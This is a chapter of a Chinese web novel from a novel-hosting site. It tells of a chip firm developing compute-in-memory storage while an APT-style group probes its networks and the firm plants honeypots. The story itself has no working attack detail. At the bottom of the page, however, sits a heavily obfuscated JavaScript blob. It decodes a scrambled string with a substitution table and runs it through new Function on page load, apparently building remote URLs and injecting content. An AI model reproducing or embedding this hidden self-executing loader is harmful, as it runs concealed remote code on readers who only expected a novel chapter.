首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第一百四十章 存算破壁,暗战无声

    第一百四十章存算破壁,暗战无声(第1/2页)
    进军存储领域的决策,像一块巨石投入深潭,在深微内部激起千层浪。
    “赵总,这太冒险了!”分管供应链的副总第一个跳出来反对,“DRAM和NAND,那是H公司、三星、美光这些巨头的后花园。他们用几十年、上千亿美元的投入,筑起了专利高墙。我们连EDA和晶圆厂都是勉强自给,现在去碰存储,无异于蚍蜉撼树!”
    “是啊,赵总,”技术总监也面露难色,“存储芯片讲究‘规模效应’和‘制程极限’。一条先进存储产线,投资几百亿美金,还要不断烧钱追赶制程。我们哪来这么多钱?就算有钱,买不到最先进的光刻机和材料,也造不出有竞争力的产品啊!”
    反对声浪很高。存储,确实是芯片领域的“珠穆朗玛峰”。它不仅技术壁垒极高,更需要天文数字的资金投入和极其漫长的回报周期。深微刚刚在“边缘”领域站稳脚跟,现金流依然紧张,此时进军存储,在很多人看来,是自杀行为。
    赵磊没有立刻反驳。他等大家说完了,才缓缓开口,目光扫过在座的每一位高管:“各位担心的,我都想过。资金、设备、技术、专利……每一个都是天堑。但大家有没有想过,如果我们不碰存储,会怎样?”
    他站起身,走到窗前,指着远处的城市天际线:“今天,我们靠‘边缘’战略,在夹缝中求生。但大家看看,我们用的服务器,跑的数据库,存的每一个字节,底层是哪家的存储芯片?H公司,三星,美光。我们的‘长城二号’,我们的‘鸿蒙之芯’,运算产生的数据,最终都存在别人的仓库里!这叫自主可控吗?这叫沙滩上建房子!”
    他转过身,眼神锐利:“H公司今天能封杀我们的EDA,明天就能让我们的存储芯片不兼容;今天能断供我们的晶圆,明天就能让我们的数据读不出来!没有自主的存储,我们的计算体系,永远缺了一条腿!‘边缘’方案做得再好,也只是无根之萍!所以,存储,非上不可!这不是商业选择,是生存必须!”
    “可是,赵总,怎么上?总不能硬碰硬吧?”有人小声问。
    “硬碰硬,是以卵击石。”赵磊语气平静却充满力量,“H公司他们建的是‘城墙’,我们绕开它,挖‘地道’——走‘存算一体’的差异化路线!”
    存算一体(Compute-in-Memory,CIM)。
    这个概念并不新鲜,学术界讨论了十几年。传统的冯·诺依曼架构,计算和存储是分离的,数据在两者之间来回搬运,造成巨大的能耗和延迟(“存储墙”问题)。存算一体的思路,是将计算单元嵌入到存储器内部,让数据在存储的地方就地处理,从根本上消除“存储墙”。
    “H公司他们,在沿着冯·诺依曼架构,不断微缩制程,追求更大容量、更快速度。这条路,他们走了几十年,壁垒森严。我们跟在后面追,永远追不上。”赵磊在白板上画出示意图,“但存算一体,是另一条路!它不追求极致的制程和容量,而是追求能效比和特定场景的性能!它更适合AI推理、边缘计算、物联网这些新兴领域!而这些领域,正是我们‘边缘’战略的主战场!用我们的存储芯片,跑我们的‘鸿蒙之芯’,执行我们自己的AI算法,这才是完整的自主生态!”
    这个思路,让大家眼前一亮。差异化竞争,避开巨头的优势领域,在自己熟悉的“边缘”场景落地,这确实是可行的路径。
    但理论到实践,隔着天堑。
    “赵总,存算一体的物理实现,太难了。”首席科学家刘工忧心忡忡,“尤其是基于传统CMOS工艺的存算一体,需要对存储器单元(比如SRAM或RRAM)进行深度的电路改造,还要设计全新的外围控制电路和编程语言。我们缺乏这方面的基础人才啊!”
    “人才,我们来找。”赵磊早有准备,“陈叔的‘织网计划’,不光织产能,也织人才。我记得,中科院微电子所,有一位叫钱老的研究员,早年留学日本,研究铁电存储器(FeRAM),后来因为经费问题和学术路线之争,被边缘化了,前几年退休了,在老家苏州养老。还有,韩国三星的存储事业部,有一位叫朴成焕的首席工程师,是RRAM(阻变存储器)方面的专家,因为直言不讳,得罪了上司,去年被迫‘提前退休’。这两位,都是‘老法师’,手里攥着真东西。”
    “请他们出山?”刘工眼睛一亮,“钱老我听说过,是国内铁电存储的先驱,可惜……朴成焕?韩国人?这……”
    “科学无国界,但科学家有祖国。”赵磊语气坚定,“朴成焕先生虽然国籍是韩国,但他崇尚技术中立,反感H公司利用技术霸权打压竞争对手。我通过老鬼接触过他,他对我们的‘边缘’理念和‘存算一体’的构想,很感兴趣。至于钱老……陈叔已经亲自去苏州拜访过了。”
    说到这里,赵磊顿了顿,眼中闪过一丝敬意:“钱老起初婉拒,说年纪大了,不想再折腾。但陈叔没劝他出山,只是给他看了托马斯遇袭的照片,看了凯里厂老工程师的手,看了戈壁滩上抽油机的照片。最后,陈叔对钱老说:‘钱老,您当年研究铁电存储,是为了什么?不就是为了有一天,咱们中国人自己的数据,能存在自己造的芯片里吗?现在,路通了,人齐了,就差您这最后一块拼图了。’钱老听完,沉默了半个小时,最后,老泪纵横,只说了一个字:‘好!’”
    一周后,苏州。
    钱老简陋的书房里,摆满了各种专业书籍和实验器材。老人家已经七十多了,背有些驼,但精神矍铄,眼神锐利。他没多寒暄,直接铺开一张泛黄的电路图,那是他二十年前设计的铁电存储单元结构。
    “小赵啊,存算一体,想法是好,但物理实现,难如登天。”钱老指着图纸,“传统的Flash或DRAM,结构是固定的,要嵌入计算逻辑,要么牺牲密度,要么影响可靠性。我这套铁电结构,本来就有非线性特性,如果加以改造,或许能实现简单的逻辑运算。但这只是理论,需要实验验证。”
    赵磊立刻表态:“钱老,实验条件,我们全力保障。凯里厂有一条试验线,可以专门划拨给您。朴成焕先生下周就到,他在RRAM器件工艺上造诣很深,可以和您的结构设计互补。”
    钱老点点头,又摇摇头:“光有我们两个老家伙不够。器件物理、电路设计、架构仿真、EDA工具……这是一个系统工程。你们那个‘华夏EDA’,能支持这种新型器件的仿真吗?”
    “正在适配!”刘工立刻回答,“顾渊老先生已经带着团队,在EDA里增加了铁电和阻变器件的模型库。另外,我们联系了清华、北大、复旦的几支研究团队,他们愿意作为外协单位,参与基础仿真和算法研究。所有成果,都将开源到‘华夏EDA’社区。”
    “好!好!好!”钱老连说三个好字,激动地拍着桌子,“这才是干大事的样子!不瞒你说,我这辈子,最大的遗憾,就是看着国外的存储芯片一代代更新,我们却始终跟不上。现在,有机会换个赛道,搞出我们自己的东西,哪怕豁出这把老骨头,也值了!”
    (本章未完,请点击下一页继续阅读)第一百四十章存算破壁,暗战无声(第2/2页)
    与此同时,网络安全威胁,正悄然升级。
    深微的“存算一体”项目刚刚立项,老烟就发来了红色预警:多个境外IP,正在对深微的EDA服务器、凯里厂的试验线控制系统,以及参与项目的几所高校的内部网络,发起高强度的端口扫描和漏洞探测。攻击特征,与H公司长期资助的某个著名APT组织高度吻合。
    “赵总,对方来者不善。”老烟的面容在加密视频里显得格外凝重,“他们不是在找漏洞,是在‘测绘’。摸清我们的网络架构、数据流向、关键节点。一旦我们的‘存算一体’研发进入关键阶段,他们很可能发动毁灭性的勒索攻击或数据擦除。”
    “护网。”赵磊只说了两个字。
    “已经在做了。”老烟回答,“我联系了国内几个顶尖的‘白帽’黑客团队,他们自愿加入‘护网联盟’,24小时监控。另外,按照陈先生的指示,我们已经将‘存算一体’的核心设计数据,进行了‘物理隔离’和‘量子加密’,并分散存储在凯里厂、贵州山区几个秘密据点的离线服务器上。网络攻击,只能触碰到我们的‘外壳’。”
    “还不够。”赵磊眼神冰冷,“H公司想偷我们的技术,我们为何不能‘反客为主’?老烟,你安排一下,在我们的实验网络里,布置几个‘蜜罐’。里面放一些半真半假的‘存算一体’设计数据,故意留几个‘后门’。看看他们偷了之后,怎么用,怎么栽跟头。”
    “明白。这叫‘请君入瓮’。”老烟嘴角露出一丝冷笑。
    三个月后,深微的“存算一体”项目,在重重防护下,艰难推进。钱老和朴成焕,这两位一个来自中国、一个来自韩国的“老法师”,虽然语言不通,但通过图纸和公式,竟产生了奇妙的共鸣。他们一个精通器件物理,一个擅长工艺集成,互补性极强。
    顾渊老先生,则成了他们的“理论后盾”。他从数学和物理的本源出发,为存算一体的逻辑运算模型提供了严密的理论支撑,甚至推导出了一种新的、基于概率计算的存算架构,大大降低了电路复杂度。
    然而,就在核心原型设计即将完成的前夜,一个意外发生了。
    钱老在实验室里,突然晕倒。诊断是劳累过度,诱发心梗。情况危急。
    赵磊第一时间安排顾晓雨带队,用最好的医疗资源抢救。同时,他面临一个艰难抉择:钱老脑中,装着大量的设计细节和关键参数,有些甚至没有来得及完全记录在案。如果他醒不过来,或者记忆力受损,项目将遭受重创。
    “赵总,钱老口袋里,好像有个笔记本。”护士悄悄递给赵磊一个陈旧的小本子。
    赵磊翻开,里面不是文字,而是密密麻麻的公式、电路草图和一些只有钱老自己能看懂的符号。这显然是他的“脑图”笔记,记录着他瞬间的灵感和关键的思考路径。
    赵磊没有交给别人,而是自己拿着这个本子,来到钱老病房外的走廊上。他一页页地翻看,试图理解那些符号背后的含义。但他毕竟不是专业研究人员,很多地方看不懂。
    就在这时,顾渊走了过来。老人家看着赵磊手里的本子,叹了口气:“小赵,放下吧。钱老这辈子,都在这本子里了。但科学,不是靠一个人的脑子,而是靠一代代人的传承。你把本子给刘工、给朴老,给他们讲你看到钱老怎么写、怎么画。他们或许能补全那些缺失的环节。这,就是传承。”
    赵磊恍然大悟。他立刻组织刘工、朴成焕等核心成员,围坐在一起,由他充当“讲述者”,将钱老笔记本里的每一页、每一个符号、甚至钱老平时的一些口头禅和小动作,都详细描述出来。大家根据这些信息,结合已有的研究,进行推演和补全。
    这像一场接力赛。钱老倒下了,他的思想和知识,通过一本笔记,传递给了整个团队。过程艰难,充满争论和试错,但大家心中都有一个信念:不能让钱老的心血白流。
    一周后,钱老脱离了危险,但身体极度虚弱,无法再参与具体工作。当他醒来,听到赵磊讲述团队如何通过那本笔记,将项目推进下去时,老人家浑浊的眼里,流下了欣慰的泪水。
    “好……好……后继有人……我放心了……”这是钱老苏醒后说的第一句话。
    又过了两个月,深微半导体的实验室里,全球第一颗基于铁电/阻变复合结构的“存算一体”原型芯片,终于点亮。测试数据显示,在特定AI推理任务上,其能效比比传统架构提升了两个数量级,虽然容量和通用性还有待提升,但证明了这条路,完全可行!
    消息传出,全球半导体界震动。H公司的高管们看着那份测试报告,脸色铁青。他们没想到,深微竟然真的在“存算一体”这个他们尚未完全掌控的领域,撕开了一道口子。更让他们心惊的是,深微的这套方案,从器件、电路、架构到EDA工具,完全自主!这意味着,他们赖以生存的专利墙,在“存算一体”这个新赛道上,几乎失效!
    赵磊拿着那颗小小的芯片,来到钱老的病房。老人家靠在病床上,看着芯片,露出了孩童般纯真的笑容。
    “小赵啊,”钱老声音微弱,但清晰,“芯片……造出来了……但路,还长……H公司……不会罢休……你们……要守住……”
    “钱老,您放心。”赵磊紧紧握住老人家枯瘦的手,“芯片,我们守住了。路,我们也会一步步走下去。您好好养病,等您康复了,我们还要一起,把它做得更好!”
    走出病房,赵磊抬头望着冬日的天空。寒风凛冽,但阳光明媚。存算一体的芯片,只是第一步。H公司的反扑,必将更加疯狂。网络攻击、商业间谍、专利诉讼、市场封杀……所有的手段,都会接踵而至。
    但他不再畏惧。因为今天,他不仅拥有了技术的火种,更拥有了传承的力量和守护的决心。那颗小小的芯片,像一颗钉子,楔入了存储领域的铁幕。而他和整个团队,将像守护眼睛一样,守护这来之不易的突破。
    他给陈凡发了一条短信,只有简单的几个字:“存算已亮,护道惟艰。”
    陈凡回信很快,依旧简洁:“亮是开始,守是长久。织网已密,护道有人。下一步,该让他们尝尝‘数据反制’的滋味了。”
    数据反制?赵磊品味着这四个字,眼中闪过一丝寒芒。是啊,H公司想偷我们的数据,那我们为何不能……让他们的数据,变成废铁?
    一场围绕数据的无声暗战,即将进入新的阶段。

一秒记住【顶点小说】
dingdian911.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();